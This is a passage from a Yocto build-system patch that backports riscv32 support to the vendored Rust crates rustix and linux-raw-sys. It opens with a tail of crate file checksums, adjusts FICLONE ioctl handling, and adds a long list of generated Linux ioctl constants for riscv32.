95c15dab533a41201b5fa25c8a212956b7571d58cad696bdaf45af8aef96db","src/fs/raw_dir.rs":"18ad797876d6230c38d4cacbed081c4028e03ace477d0520d9b226b40de942f0","src/fs/seek_from.rs":"a9efa0feb9ac789cf47667e91efee2e3f2dcde16cb3b7a928c99da640fa0e0d6","src/fs/sendfile.rs":"e3b2058741cf4b1698f34d84bb37130cf2b72806d522a16fe541e832cde136cb","src/fs/statx.rs":"c5192f54311faeb5a8e7ba7da1acd4fa5a8f69f6c15c4d78b4b7a495d21d0864","src/fs/sync.rs":"a3b23543834281f347b0f873bd38154d31d404871188ac08f2b20b9196234cfd","src/fs/xattr.rs":"b976eece822f69e768d91e61d86ee990ea18097b20f7ebeedaaf718c61b48962","src/io/close.rs":"0aa3cd05a8fed8e5244f97b8b6c2e7f65ed93a4e5435c6329852bb3da7514440","src/io/dup.rs":"a8a59c5d345dc54c57ded890720c33eb78c4d53917c71e8bb6317f7ed122cb87","src/io/errno.rs":"58a4d20ba0924e4d514e3c876fbe08982f1623187642ae14780815e65989c8c8","src/io/fcntl.rs":"c0f7bd7fce1119b0c1d0085b7ab77d5df02470ae3e06035428a2452dacbec296","src/io/ioctl.rs":"a47a5ec14607142f2c2ffcb93d016b8e86c8b15ba94b56b35382b545db62ea34","src/io/is_read_write.rs":"1bfb9ee5d58e0b29b44af12fe2668c7bccc841358698dcde47f1519ff9bb73b4","src/io/mod.rs":"75f1d0646be1d4c7c08b5887d8119b0103be8c25c43ccd4e0e97015508c0bb8f","src/io/read_write.rs":"54ba528b11601af1338bb0c71a41b256a0033076d30b3946c3fd0bdfa61dd021","src/io_uring.rs":"61e6dce7a53ce141604b5f577e20ec5aa73a20e2c2101825c7c52396ba221886","src/ioctl/bsd.rs":"e33772530b1b2d1e7d61ce53d9267e68d88f7f5df13301f90412d89a46c6faaa","src/ioctl/linux.rs":"256aef9fb51c67cd7f43a581b702aa62757e3bdd7c38f71bf849f818194c2285","src/ioctl/mod.rs":"739a4f6d4e9a816745e42133c1b4c51c1285bf5cde3e1ee3ea72ef0b802e3806","src/ioctl/patterns.rs":"26dda154aabf67d45362d9378875f95c1593391ecbc62be02d187b7e19e7f9da","src/lib.rs":"7430fd1db444a72dc8f9b762f2fb61226dd00c89c7c932481e94958f60678383","src/maybe_polyfill/no_std/io/mod.rs":"77889bb5c5a4f2e50e38379cdaa5d0fef4b0cafc3da056735df01f6deae75747","src/maybe_polyfill/no_std/mod.rs":"ec94a4aab4bc475785e469d10fd6bc95667e1d47d958e9cff3a19049d88c8c80","src/maybe_polyfill/no_std/net/ip_addr.rs":"046327ee244f758f2bc31d3be305d8cd0dfd8342aac1add8259e999b4b46c4a7","src/maybe_polyfill/no_std/net/mod.rs":"b0ee611c454679226a15bf647e7779995f3fe9c8e0507930a0d0613eb414b7c2","src/maybe_polyfill/no_std/net/socket_addr.rs":"bfeb32d32c176cde76323abcffebfc47e9898fb8d7ce3668c602dc8451086a2d","src/maybe_polyfill/no_std/os/fd/mod.rs":"27ef0afbcb0695cbb15101070f417eb51e0ef85ae66ec967d95e80771d507c47","src/maybe_polyfill/no_std/os/fd/owned.rs":"ab86ffa2693a04f3085770faf395f95e5303001711be8b19c44a47a0ac574091","src/maybe_polyfill/no_std/os/fd/raw.rs":"f3648c7bd4a6ff94bd823ed9e0d99d398e02f24875cf9b25962736999e7c6943","src/maybe_polyfill/no_std/os/mod.rs":"27dab639a765827644005d5f2fcc7c825310606b889cc8dd83f54c9528350dc0","src/maybe_polyfill/no_std/os/windows/io/mod.rs":"5bbcc05c83fee5026dd744a994e0458469466d5be39081baa62df07753b92fd2","src/maybe_polyfill/no_std/os/windows/io/raw.rs":"4c32609a489dd938a49328b5637cb3bafb96437f2f9f269ab66d7d3cb90247f6","src/maybe_polyfill/no_std/os/windows/io/socket.rs":"c658f42f24eff44a661f2adfd24a11af80fe9897f3e2af4dc5d2c64808308d65","src/maybe_polyfill/no_std/os/windows/mod.rs":"fdb416f8f231a4e778b5f985b9ae712ece5e1a1402963ad1a5f6a8b9843795f4","src/maybe_polyfill/std/mod.rs":"7c16c86cc73e226e65ead598e4018238b22000a345040b706bf1e1b3eba115fc","src/mm/madvise.rs":"3c262b3713a73fafcedf1b04bb12c048bb11d47ca43c959e5dfa48c27651f4f0","src/mm/mmap.rs":"28523bceb2b7e3bc1207f351d8a1771867159e1b9ff1d9c37fbdc05aeb696b50","src/mm/mod.rs":"b3a6cb838986d45825b912355cedead761211a494ca6f89b2367a2d2157e340e","src/mm/msync.rs":"9dcfe5f54235e9314a595edb8d548ac79d222bbcc58bb3263cf7e96d603b23ad","src/mm/userfaultfd.rs":"8073443bd181ff0b3ba4d0b1ae67370b4864035a0c8b4898cd709dc47c518ae7","src/mount/fsopen.rs":"160e384e9175fd98669cda1cf3590bb195c2ba7e1c724e9ea06e692595e58ba1","src/mount/mod.rs":"5f0c9df4727592695deb1cd63ae1de021b03dcd9d0d1b68e1f34d12a7136cb19","src/mount/mount_unmount.rs":"8ad11675e5d762d33fbefbed06a6a9f9e52a9b689bd06662446152614321ab77","src/mount/types.rs":"601ae3e10b7dc496fed7f3b40a80e81c6edd7bf13189d7be45c3212d4c684c39","src/net/mod.rs":"a6bc55f9e086caf46a7c00783498d73a328a66f2a991f1ec65d5f13931377b0f","src/net/send_recv/mod.rs":"f33e39c7b228cd8109823b0a0a1aa397cddad504d49e69b36f74c5b84e5070e5","src/net/send_recv/msg.rs":"6a73e4fd2b78fbeb683f48bcd8404a362245c6cd66e0d59e6378467600b44268","src/net/socket.rs":"bc825a94831557bf4c2cabd8ef5ae21ffe0986c24f9ada564eefa66270f69ae9","src/net/socket_addr_any.rs":"a9af81e967a91b45e51aec4f46a068fade7035c5d19dfaf05bfdcd3b3c32e9bf","src/net/socketpair.rs":"56f4885c31d2664cd16e18a9a88792a4912fedd953cec36dba67e8581fd57921","src/net/sockopt.rs":"58fbabf73ede7afaeac279241ff874dcee5604f63b3f38e4435a61a354da2196","src/net/types.rs":"5914e786d6a24a6efc355023fd71a28bc29fc85fb672e5388370243fe83e4191","src/net/wsa.rs":"6e546b42f50a851fc833c57cda76cfb347203ed4b0dea574a3d325bf5a2ebf80","src/param/auxv.rs":"886e57d52adf0199b8146f849c2db1e3136c07fc4ec61f60dc781fea11070604","src/param/init.rs":"a31c0e5cea61a1a999767fe74f87c0d59eeb6bce66578b842fe0e0c32be27a55","src/param/mod.rs":"25b10acd5b1da8faa6f5204e6b0379b38bfab667916e886cca64bea01a42dec2","src/path/arg.rs":"b1329485ad525e8d067792b0890a1241c20f6c08d29f0661f2a9f429581a7818","src/path/dec_int.rs":"fad9793b89eac526953b994cbed6b614f01c25108f9763e19fb98029feda93a4","src/path/mod.rs":"6b1b949c94bcc47e0f08a3f8e8db5b61ff497d0dfd3e0655f51c01d3e4b7dfd6","src/pid.rs":"f1c486000c5b1311b2d720cee88f089c17ef9a171709673dd06e6f35f4ff98a3","src/pipe.rs":"fd021deeacf78790886ae03f1e8f0fe5a13909c7532b2246581667eb3d0483d7","src/prctl.rs":"c9daa9397460a27ed6e31fc454fc40dff83720312a002b66f4c178fc005379ec","src/process/chdir.rs":"6947b80d468d906d528de328f30fe7509acfe4976a0de3fa600a7cc39618c049","src/process/chroot.rs":"2b5f6124eb19f26ad2705174f7ad50cdc0a5d15abd59ffcf55421228d82130b4","src/process/exit.rs":"48de66e5504a00cb375d8f415ce63b6225a3f5204268d40726a7d0fbba43f587","src/process/id.rs":"e4733f9e8e4b5f50e98ef7a23802e126f1f14ece8b3d7ae7446c6a66affc6bc1","src/process/ioctl.rs":"23ad0285671e8d7ca71a63c50655dbf732ccea8af11d754a0558e0236db37e76","src/process/kill.rs":"7b879e5cff8a064acd0e7488f4e21bd4e4a8506ce380688b72cc48d283ff9c89","src/process/membarrier.rs":"d6c8821ec73019040c926f4e1018f399c286e87074ab9c6692370c88772af044","src/process/mod.rs":"0ef104be820068409648ed83739a51a7dcf07612088f9a6ed6c7ebdb6ad54092","src/process/pidfd.rs":"4be2fba21430ba84244e11c636c91201bc1d1dffff3e63a4da84cc96f501786b","src/process/pidfd_getfd.rs":"cbc42a1548280ae76c3c66e851fd53cc2a3d4c089cb5798c17a2cdf654f0e229","src/process/prctl.rs":"3396b39a0f161385f02f6a4a17db0a3fcd2d70f4d6d2e1d8d1b9091b36d5704c","src/process/priority.rs":"f135482e71ea8aa0daf92b9f238051178a4c904070fa8409622f94155df3c544","src/process/procctl.rs":"0ca2f5fd4cd39335c141758cac132a3271e318c688f8882e527f58c02d5ab0e2","src/process/rlimit.rs":"10b79de3ced0e64059a94c879742d46a35a6176c776d8eed75031d5e6340283d","src/process/sched.rs":"7c3bfc5be624e7d7f5e043c3ee0b0566fcab3d684d61c272e7b4233410ab1c42","src/process/sched_yield.rs":"6565faa3928b66ddc74a65e893e15edfa4b9be4f7e5f5f68527501a7f6bc3350","src/process/umask.rs":"1a0f31a842303c978e3f05ec191e2b5e96104c09c6596473b42b1fac34898a50","src/process/wait.rs":"cef08e74f5d87df925fa6a6acc95e8de0e689fb420ba514b9fbf94a9ca403465","src/procfs.rs":"63b286dd3302be7f426841eb3b9261ef4785c3159ed78c24734bd5094c9b0b2e","src/pty.rs":"ee697b226230b65c0432a42cd82b2fad885ca70285dbb0a7b8ec0ff81d23e3a0","src/rand/getrandom.rs":"1c8166a02a74f5593bb4673ef907524df04cbc1568020a5ab2ff7f4aa1283f8b","src/rand/mod.rs":"cab59332aadd9b679f5b22cbb222d48ee028af5eb9fd4a4d43922da659b895d7","src/runtime.rs":"9aed98071bf8124c6913e8517b28ef63c7b88001042f0522d877ab65ac88099a","src/shm.rs":"b96fe8a05ee5d4536464a8843a776d43a938abaf22c772fc35b5373d95644a8d","src/signal.rs":"c071b4f011deef19a679d7a832d5408a3cd68627161d6510008d6312266a2611","src/static_assertions.rs":"39986672f489949be1d6469f0c30fb7d2eaa21bdaa2702a8c150b2b150bf5535","src/stdio.rs":"a5de2d7d9c3c5a901f88b6acf4754687c958a2f3a93c7945c2b8fcb948d468af","src/system.rs":"e594c16b4600a8ebea01c5850cd9e1521acf242f1a9f083403cfe95adcde4679","src/termios/ioctl.rs":"a1ac967f7811a482f8bb53847c37c8359f518cd26da9df7b816ba678a0139623","src/termios/mod.rs":"b44b7caa60b6f458657ed58a0e0eca41bb4e6d6be4b0f042bbb8ab7056cebe4b","src/termios/tc.rs":"e41312d15464b83b2457c2502fc3f3b9998cfb02ba68739026dd4285cc7130ac","src/termios/tty.rs":"906ee160ffb5ba3a92ea3a61374cf2cd617cebae51f5490073b6700c438d5eee","src/termios/types.rs":"8c4f029e8dbb9b2c59082bd13d628a741f6f0a31f5ecf485c93795b73c1daeca","src/thread/clock.rs":"469326c822dfb63405ee8537552cedde0b344978280e6645bbadd47dedc71e18","src/thread/futex.rs":"985f9a0dce1e2a4892ae7f26bd1bf119ceae3f9fa6b4707e166624fc1cee76d4","src/thread/id.rs":"ad72db4fea9fccb728310bbfd01ef8c00f6cc60fa2a750f6349646a134f7009b","src/thread/libcap.rs":"a3e316e6d0f58b075125fa939b9b824e1595de20a23d341a36999416b0d10d36","src/thread/mod.rs":"98634ece0b882f123ad887017692f2a4d94a23a1dec278ed660b3497cac5cceb","src/thread/prctl.rs":"10e2878ef856557bc5bd24c77f5699266e746f912e73690980371cc99c7417e8","src/thread/setns.rs":"730badd8db8ce7b905767b341211f1226eeeb38019727bf994eb64f2531b7b7f","src/time/clock.rs":"e59a29f1bed8c31c3d5b6fad60f2d4fa6cab8dd8e86148bb3693a5e3a1ce735f","src/time/mod.rs":"43afee938c80d124d04d4ba190c03f4d21d1e3bfc154fff309211e4f6eabe940","src/time/timerfd.rs":"f17092b84553741aa2d2b44c6992b5d2c8c96cc2c2007fc9a2c6b2064485e53f","src/timespec.rs":"32a4d930cbc0f6dbd23153290db920671cf4ce65a4a127e176f897c1cde42d7d","src/ugid.rs":"6616c6e35b7e43aee5b150f1efae7a50711e0947943c9a96833dbe214ad9e85f","src/utils.rs":"9ae76f8a41d6cc350cdd58c9084b5c3a5a708eeecd769783debdbcbaef442182","src/weak.rs":"c7cf03bf2aeba494b1999ab32183fa8c603ab72e254c0e312a67f168877e410d"},"package":"745ecfa778e66b2b63c88a61cb36e0eea109e803b0b86bf9879fbc77c70e86ed"}
+--- a/vendor/rustix-0.38.19/src/fs/ioctl.rs
++++ b/vendor/rustix-0.38.19/src/fs/ioctl.rs
+@@ -48,7 +48,7 @@ pub fn ioctl_blkpbszget<Fd: AsFd>(fd: Fd
+ /// - [Linux]
+ ///
+ /// [Linux]: https://man7.org/linux/man-pages/man2/ioctl_ficlone.2.html
+-#[cfg(all(linux_kernel, not(any(target_arch = "sparc", target_arch = "sparc64"))))]
++#[cfg(all(linux_kernel, not(any(target_arch = "sparc", target_arch = "sparc64", target_arch = "riscv32"))))]
+ #[inline]
+ #[doc(alias = "FICLONE")]
+ pub fn ioctl_ficlone<Fd: AsFd, SrcFd: AsFd>(fd: Fd, src_fd: SrcFd) -> io::Result<()> {
+@@ -77,7 +77,7 @@ unsafe impl ioctl::Ioctl for Ficlone<'_>
+ type Output = ();
+
+ const IS_MUTATING: bool = false;
+- const OPCODE: ioctl::Opcode = ioctl::Opcode::old(c::FICLONE as ioctl::RawOpcode);
++ const OPCODE: ioctl::Opcode = ioctl::Opcode::old(linux_raw_sys::ioctl::FICLONE as ioctl::RawOpcode);
+
+ fn as_ptr(&mut self) -> *mut c::c_void {
+ self.0.as_raw_fd() as *mut c::c_void
+--- a/vendor/rustix-0.38.19/src/backend/libc/c.rs
++++ b/vendor/rustix-0.38.19/src/backend/libc/c.rs
+@@ -6,6 +6,8 @@
+ // things below.
+ pub(crate) use libc::*;
+
++use linux_raw_sys::ioctl::FICLONE;
++
+ /// `PROC_SUPER_MAGIC`—The magic number for the procfs filesystem.
+ #[cfg(all(linux_kernel, target_env = "musl"))]
+ pub(crate) const PROC_SUPER_MAGIC: u32 = 0x0000_9fa0;
diff --git a/meta/recipes-devtools/rust/files/rv32-missing-syscalls.patch b/meta/recipes-devtools/rust/files/rv32-missing-syscalls.patch
new file mode 100644
index 0000000000..ccadbb9b91
--- /dev/null
+++ b/meta/recipes-devtools/rust/files/rv32-missing-syscalls.patch
@@ -0,0 +1,1503 @@
+Backport rv32 support
+
+Upstream-Status: Backport [https://github.com/sunfishcode/linux-raw-sys/commit/6f86540e73bd45c9d13730ba0121d1820db0eeee]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+--- a/vendor/linux-raw-sys/src/riscv32/ioctl.rs
++++ b/vendor/linux-raw-sys/src/riscv32/ioctl.rs
+@@ -1,3 +1,1489 @@
+ /* automatically generated by rust-bindgen 0.66.1 */
+
+-
++pub const FIONREAD: u32 = 21531;
++pub const FIONBIO: u32 = 21537;
++pub const FIOCLEX: u32 = 21585;
++pub const FIONCLEX: u32 = 21584;
++pub const FIOASYNC: u32 = 21586;
++pub const FIOQSIZE: u32 = 21600;
++pub const TCXONC: u32 = 21514;
++pub const TCFLSH: u32 = 21515;
++pub const TIOCSCTTY: u32 = 21518;
++pub const TIOCSPGRP: u32 = 21520;
++pub const TIOCOUTQ: u32 = 21521;
++pub const TIOCSTI: u32 = 21522;
++pub const TIOCSWINSZ: u32 = 21524;
++pub const TIOCMGET: u32 = 21525;
++pub const TIOCMBIS: u32 = 21526;
++pub const TIOCMBIC: u32 = 21527;
++pub const TIOCMSET: u32 = 21528;
++pub const TIOCSSOFTCAR: u32 = 21530;
++pub const TIOCLINUX: u32 = 21532;
++pub const TIOCCONS: u32 = 21533;
++pub const TIOCSSERIAL: u32 = 21535;
++pub const TIOCPKT: u32 = 21536;
++pub const TIOCNOTTY: u32 = 21538;
++pub const TIOCSETD: u32 = 21539;
++pub const TIOCSBRK: u32 = 21543;
++pub const TIOCCBRK: u32 = 21544;
++pub const TIOCSRS485: u32 = 21551;
++pub const TIOCSPTLCK: u32 = 1074025521;
++pub const TIOCSIG: u32 = 1074025526;
++pub const TIOCVHANGUP: u32 = 21559;
++pub const TIOCSERCONFIG: u32 = 21587;
++pub const TIOCSERGWILD: u32 = 21588;
++pub const TIOCSERSWILD: u32 = 21589;
++pub const TIOCSLCKTRMIOS: u32 = 21591;
++pub const TIOCSERGSTRUCT: u32 = 21592;
++pub const TIOCSERGETLSR: u32 = 21593;
++pub const TIOCSERGETMULTI: u32 = 21594;
++pub const TIOCSERSETMULTI: u32 = 21595;
++pub const TIOCMIWAIT: u32 = 21596;
++pub const TCGETS: u32 = 21505;
++pub const TCGETA: u32 = 21509;
++pub const TCSBRK: u32 = 21513;
++pub const TCSBRKP: u32 = 21541;
++pub const TCSETA: u32 = 21510;
++pub const TCSETAF: u32 = 21512;
++pub const TCSETAW: u32 = 21511;
++pub const TIOCEXCL: u32 = 21516;
++pub const TIOCNXCL: u32 = 21517;
++pub const TIOCGDEV: u32 = 2147767346;
++pub const TIOCGEXCL: u32 = 2147767360;
++pub const TIOCGICOUNT: u32 = 21597;
++pub const TIOCGLCKTRMIOS: u32 = 21590;
++pub const TIOCGPGRP: u32 = 21519;
++pub const TIOCGPKT: u32 = 2147767352;
++pub const TIOCGPTLCK: u32 = 2147767353;
++pub const TIOCGPTN: u32 = 2147767344;
++pub const TIOCGPTPEER: u32 = 21569;
++pub const TIOCGRS485: u32 = 21550;
++pub const TIOCGSERIAL: u32 = 21534;
++pub const TIOCGSID: u32 = 21545;
++pub const TIOCGSOFTCAR: u32 = 21529;
++pub const TIOCGWINSZ: u32 = 21523;
++pub const TCGETS2: u32 = 2150388778;
++pub const TCGETX: u32 = 21554;
++pub const TCSETS: u32 = 21506;
++pub const TCSETS2: u32 = 1076646955;
++pub const TCSETSF: u32 = 21508;
++pub const TCSETSF2: u32 = 1076646957;
++pub const TCSETSW: u32 = 21507;
++pub const TCSETSW2: u32 = 1076646956;
++pub const TCSETX: u32 = 21555;
++pub const TCSETXF: u32 = 21556;
++pub const TCSETXW: u32 = 21557;
++pub const TIOCGETD: u32 = 21540;
++pub const MTIOCGET: u32 = 2150657282;
++pub const BLKSSZGET: u32 = 4712;
++pub const BLKPBSZGET: u32 = 4731;
++pub const BLKROSET: u32 = 4701;
++pub const BLKROGET: u32 = 4702;
++pub const BLKRRPART: u32 = 4703;
++pub const BLKGETSIZE: u32 = 4704;
++pub const BLKFLSBUF: u32 = 4705;
++pub const BLKRASET: u32 = 4706;
++pub const BLKRAGET: u32 = 4707;
++pub const BLKFRASET: u32 = 4708;
++pub const BLKFRAGET: u32 = 4709;
++pub const BLKSECTSET: u32 = 4710;
++pub const BLKSECTGET: u32 = 4711;
++pub const BLKPG: u32 = 4713;
++pub const BLKBSZGET: u32 = 2148012656;
++pub const BLKBSZSET: u32 = 1074270833;
++pub const BLKGETSIZE64: u32 = 2148012658;
++pub const BLKTRACESETUP: u32 = 3225948787;
++pub const BLKTRACESTART: u32 = 4724;
++pub const BLKTRACESTOP: u32 = 4725;
++pub const BLKTRACETEARDOWN: u32 = 4726;
++pub const BLKDISCARD: u32 = 4727;
++pub const BLKIOMIN: u32 = 4728;
++pub const BLKIOOPT: u32 = 4729;
++pub const BLKALIGNOFF: u32 = 4730;
++pub const BLKDISCARDZEROES: u32 = 4732;
++pub const BLKSECDISCARD: u32 = 4733;
++pub const BLKROTATIONAL: u32 = 4734;
++pub const BLKZEROOUT: u32 = 4735;
++pub const UFFDIO_REGISTER: u32 = 3223366144;
++pub const UFFDIO_UNREGISTER: u32 = 2148575745;
++pub const UFFDIO_WAKE: u32 = 2148575746;
++pub const UFFDIO_COPY: u32 = 3223890435;
++pub const UFFDIO_ZEROPAGE: u32 = 3223366148;
++pub const UFFDIO_WRITEPROTECT: u32 = 3222841862;
++pub const UFFDIO_API: u32 = 3222841919;
++pub const NS_GET_USERNS: u32 = 46849;
++pub const NS_GET_PARENT: u32 = 46850;
++pub const NS_GET_NSTYPE: u32 = 46851;
++pub const KDGETLED: u32 = 19249;
++pub const KDSETLED: u32 = 19250;
++pub const KDGKBLED: u32 = 19300;
++pub const KDSKBLED: u32 = 19301;
++pub const KDGKBTYPE: u32 = 19251;
++pub const KDADDIO: u32 = 19252;
++pub const KDDELIO: u32 = 19253;
++pub const KDENABIO: u32 = 19254;
++pub const KDDISABIO: u32 = 19255;
++pub const KDSETMODE: u32 = 19258;
++pub const KDGETMODE: u32 = 19259;
++pub const KDMKTONE: u32 = 19248;
++pub const KIOCSOUND: u32 = 19247;
++pub const GIO_CMAP: u32 = 19312;
++pub const PIO_CMAP: u32 = 19313;
++pub const GIO_FONT: u32 = 19296;
++pub const GIO_FONTX: u32 = 19307;
++pub const PIO_FONT: u32 = 19297;
++pub const PIO_FONTX: u32 = 19308;
++pub const PIO_FONTRESET: u32 = 19309;
++pub const GIO_SCRNMAP: u32 = 19264;
++pub const GIO_UNISCRNMAP: u32 = 19305;
++pub const PIO_SCRNMAP: u32 = 19265;
++pub const PIO_UNISCRNMAP: u32 = 19306;
++pub const GIO_UNIMAP: u32 = 19302;
++pub const PIO_UNIMAP: u32 = 19303;
++pub const PIO_UNIMAPCLR: u32 = 19304;
++pub const KDGKBMODE: u32 = 19268;
++pub const KDSKBMODE: u32 = 19269;
++pub const KDGKBMETA: u32 = 19298;
++pub const KDSKBMETA: u32 = 19299;
++pub const KDGKBENT: u32 = 19270;
++pub const KDSKBENT: u32 = 19271;
++pub const KDGKBSENT: u32 = 19272;
++pub const KDSKBSENT: u32 = 19273;
++pub const KDGKBDIACR: u32 = 19274;
++pub const KDGETKEYCODE: u32 = 19276;
++pub const KDSETKEYCODE: u32 = 19277;
++pub const KDSIGACCEPT: u32 = 19278;
++pub const VT_OPENQRY: u32 = 22016;
++pub const VT_GETMODE: u32 = 22017;
++pub const VT_SETMODE: u32 = 22018;
++pub const VT_GETSTATE: u32 = 22019;
++pub const VT_RELDISP: u32 = 22021;
++pub const VT_ACTIVATE: u32 = 22022;
++pub const VT_WAITACTIVE: u32 = 22023;
++pub const VT_DISALLOCATE: u32 = 22024;
++pub const VT_RESIZE: u32 = 22025;
++pub const VT_RESIZEX: u32 = 22026;
++pub const FIOSETOWN: u32 = 35073;
++pub const SIOCSPGRP: u32 = 35074;
++pub const FIOGETOWN: u32 = 35075;
++pub const SIOCGPGRP: u32 = 35076;
++pub const SIOCATMARK: u32 = 35077;
++pub const SIOCGSTAMP: u32 = 35078;
++pub const TIOCINQ: u32 = 21531;
++pub const SIOCADDRT: u32 = 35083;
++pub const SIOCDELRT: u32 = 35084;
++pub const SIOCGIFNAME: u32 = 35088;
++pub const SIOCSIFLINK: u32 = 35089;
++pub const SIOCGIFCONF: u32 = 35090;
++pub const SIOCGIFFLAGS: u32 = 35091;
++pub const SIOCSIFFLAGS: u32 = 35092;
++pub const SIOCGIFADDR: u32 = 35093;
++pub const SIOCSIFADDR: u32 = 35094;
++pub const SIOCGIFDSTADDR: u32 = 35095;
++pub const SIOCSIFDSTADDR: u32 = 35096;
++pub const SIOCGIFBRDADDR: u32 = 35097;
++pub const SIOCSIFBRDADDR: u32 = 35098;
++pub const SIOCGIFNETMASK: u32 = 35099;
++pub const SIOCSIFNETMASK: u32 = 35100;
++pub const SIOCGIFMETRIC: u32 = 35101;
++pub const SIOCSIFMETRIC: u32 = 35102;
++pub const SIOCGIFMEM: u32 = 35103;
++pub const SIOCSIFMEM: u32 = 35104;
++pub const SIOCGIFMTU: u32 = 35105;
++pub const SIOCSIFMTU: u32 = 35106;
++pub const SIOCSIFHWADDR: u32 = 35108;
++pub const SIOCGIFENCAP: u32 = 35109;
++pub const SIOCSIFENCAP: u32 = 35110;
++pub const SIOCGIFHWADDR: u32 = 35111;
++pub const SIOCGIFSLAVE: u32 = 35113;
++pub const SIOCSIFSLAVE: u32 = 35120;
++pub const SIOCADDMULTI: u32 = 35121;
++pub const SIOCDELMULTI: u32 = 35122;
++pub const SIOCDARP: u32 = 35155;
++pub const SIOCGARP: u32 = 35156;
++pub const SIOCSARP: u32 = 35157;
++pub const SIOCDRARP: u32 = 35168;
++pub const SIOCGRARP: u32 = 35169;
++pub const SIOCSRARP: u32 = 35170;
++pub const SIOCGIFMAP: u32 = 35184;
++pub const SIOCSIFMAP: u32 = 35185;
++pub const SIOCRTMSG: u32 = 35085;
++pub const SIOCSIFNAME: u32 = 35107;
++pub const SIOCGIFINDEX: u32 = 35123;
++pub const SIOGIFINDEX: u32 = 35123;
++pub const SIOCSIFPFLAGS: u32 = 35124;
++pub const SIOCGIFPFLAGS: u32 = 35125;
++pub const SIOCDIFADDR: u32 = 35126;
++pub const SIOCSIFHWBROADCAST: u32 = 35127;
++pub const SIOCGIFCOUNT: u32 = 35128;
++pub const SIOCGIFBR: u32 = 35136;
++pub const SIOCSIFBR: u32 = 35137;
++pub const SIOCGIFTXQLEN: u32 = 35138;
++pub const SIOCSIFTXQLEN: u32 = 35139;
++pub const SIOCADDDLCI: u32 = 35200;
++pub const SIOCDELDLCI: u32 = 35201;
++pub const SIOCDEVPRIVATE: u32 = 35312;
++pub const SIOCPROTOPRIVATE: u32 = 35296;
++pub const FIBMAP: u32 = 1;
++pub const FIGETBSZ: u32 = 2;
++pub const FIFREEZE: u32 = 3221510263;
++pub const FITHAW: u32 = 3221510264;
++pub const FITRIM: u32 = 3222820985;
++pub const FICLONE: u32 = 1074041865;
++pub const FICLONERANGE: u32 = 1075876877;
++pub const FIDEDUPERANGE: u32 = 3222836278;
++pub const FS_IOC_GETFLAGS: u32 = 2148034049;
++pub const FS_IOC_SETFLAGS: u32 = 1074292226;
++pub const FS_IOC_GETVERSION: u32 = 2148038145;
++pub const FS_IOC_SETVERSION: u32 = 1074296322;
++pub const FS_IOC_FIEMAP: u32 = 3223348747;
++pub const FS_IOC32_GETFLAGS: u32 = 2147771905;
++pub const FS_IOC32_SETFLAGS: u32 = 1074030082;
++pub const FS_IOC32_GETVERSION: u32 = 2147776001;
++pub const FS_IOC32_SETVERSION: u32 = 1074034178;
++pub const FS_IOC_FSGETXATTR: u32 = 2149341215;
++pub const FS_IOC_FSSETXATTR: u32 = 1075599392;
++pub const FS_IOC_GETFSLABEL: u32 = 2164298801;
++pub const FS_IOC_SETFSLABEL: u32 = 1090556978;
++pub const EXT4_IOC_GETVERSION: u32 = 2148034051;
++pub const EXT4_IOC_SETVERSION: u32 = 1074292228;
++pub const EXT4_IOC_GETVERSION_OLD: u32 = 2148038145;
++pub const EXT4_IOC_SETVERSION_OLD: u32 = 1074296322;
++pub const EXT4_IOC_GETRSVSZ: u32 = 2148034053;
++pub const EXT4_IOC_SETRSVSZ: u32 = 1074292230;
++pub const EXT4_IOC_GROUP_EXTEND: u32 = 1074292231;
++pub const EXT4_IOC_MIGRATE: u32 = 26121;
++pub const EXT4_IOC_ALLOC_DA_BLKS: u32 = 26124;
++pub const EXT4_IOC_RESIZE_FS: u32 = 1074292240;
++pub const EXT4_IOC_SWAP_BOOT: u32 = 26129;
++pub const EXT4_IOC_PRECACHE_EXTENTS: u32 = 26130;
++pub const EXT4_IOC_CLEAR_ES_CACHE: u32 = 26152;
++pub const EXT4_IOC_GETSTATE: u32 = 1074030121;
++pub const EXT4_IOC_GET_ES_CACHE: u32 = 3223348778;
++pub const EXT4_IOC_CHECKPOINT: u32 = 1074030123;
++pub const EXT4_IOC_SHUTDOWN: u32 = 2147768445;
++pub const EXT4_IOC32_GETVERSION: u32 = 2147771907;
++pub const EXT4_IOC32_SETVERSION: u32 = 1074030084;
++pub const EXT4_IOC32_GETRSVSZ: u32 = 2147771909;
++pub const EXT4_IOC32_SETRSVSZ: u32 = 1074030086;
++pub const EXT4_IOC32_GROUP_EXTEND: u32 = 1074030087;
++pub const EXT4_IOC32_GETVERSION_OLD: u32 = 2147776001;
++pub const EXT4_IOC32_SETVERSION_OLD: u32 = 1074034178;
++pub const VIDIOC_SUBDEV_QUERYSTD: u32 = 2148030015;
++pub const AUTOFS_DEV_IOCTL_CLOSEMOUNT: u32 = 3222836085;
++pub const LIRC_SET_SEND_CARRIER: u32 = 1074030867;
++pub const AUTOFS_IOC_PROTOSUBVER: u32 = 2147783527;
++pub const PTP_SYS_OFFSET_PRECISE: u32 = 3225435400;
++pub const FSI_SCOM_WRITE: u32 = 3223352066;
++pub const ATM_GETCIRANGE: u32 = 1074815370;
++pub const DMA_BUF_SET_NAME_B: u32 = 1074291201;
++pub const RIO_CM_EP_GET_LIST_SIZE: u32 = 3221512961;
++pub const TUNSETPERSIST: u32 = 1074025675;
++pub const FS_IOC_GET_ENCRYPTION_POLICY: u32 = 1074554389;
++pub const CEC_RECEIVE: u32 = 3224920326;
++pub const MGSL_IOCGPARAMS: u32 = 2150657281;
++pub const ENI_SETMULT: u32 = 1074815335;
++pub const RIO_GET_EVENT_MASK: u32 = 2147773710;
++pub const LIRC_GET_MAX_TIMEOUT: u32 = 2147772681;
++pub const USBDEVFS_CLAIMINTERFACE: u32 = 2147767567;
++pub const CHIOMOVE: u32 = 1075077889;
++pub const SONYPI_IOCGBATFLAGS: u32 = 2147579399;
++pub const BTRFS_IOC_SYNC: u32 = 37896;
++pub const VIDIOC_TRY_FMT: u32 = 3234879040;
++pub const LIRC_SET_REC_MODE: u32 = 1074030866;
++pub const VIDIOC_DQEVENT: u32 = 2156418649;
++pub const RPMSG_DESTROY_EPT_IOCTL: u32 = 46338;
++pub const UVCIOC_CTRL_MAP: u32 = 3227546912;
++pub const VHOST_SET_BACKEND_FEATURES: u32 = 1074310949;
++pub const VHOST_VSOCK_SET_GUEST_CID: u32 = 1074311008;
++pub const UI_SET_KEYBIT: u32 = 1074025829;
++pub const LIRC_SET_REC_TIMEOUT: u32 = 1074030872;
++pub const FS_IOC_GET_ENCRYPTION_KEY_STATUS: u32 = 3229640218;
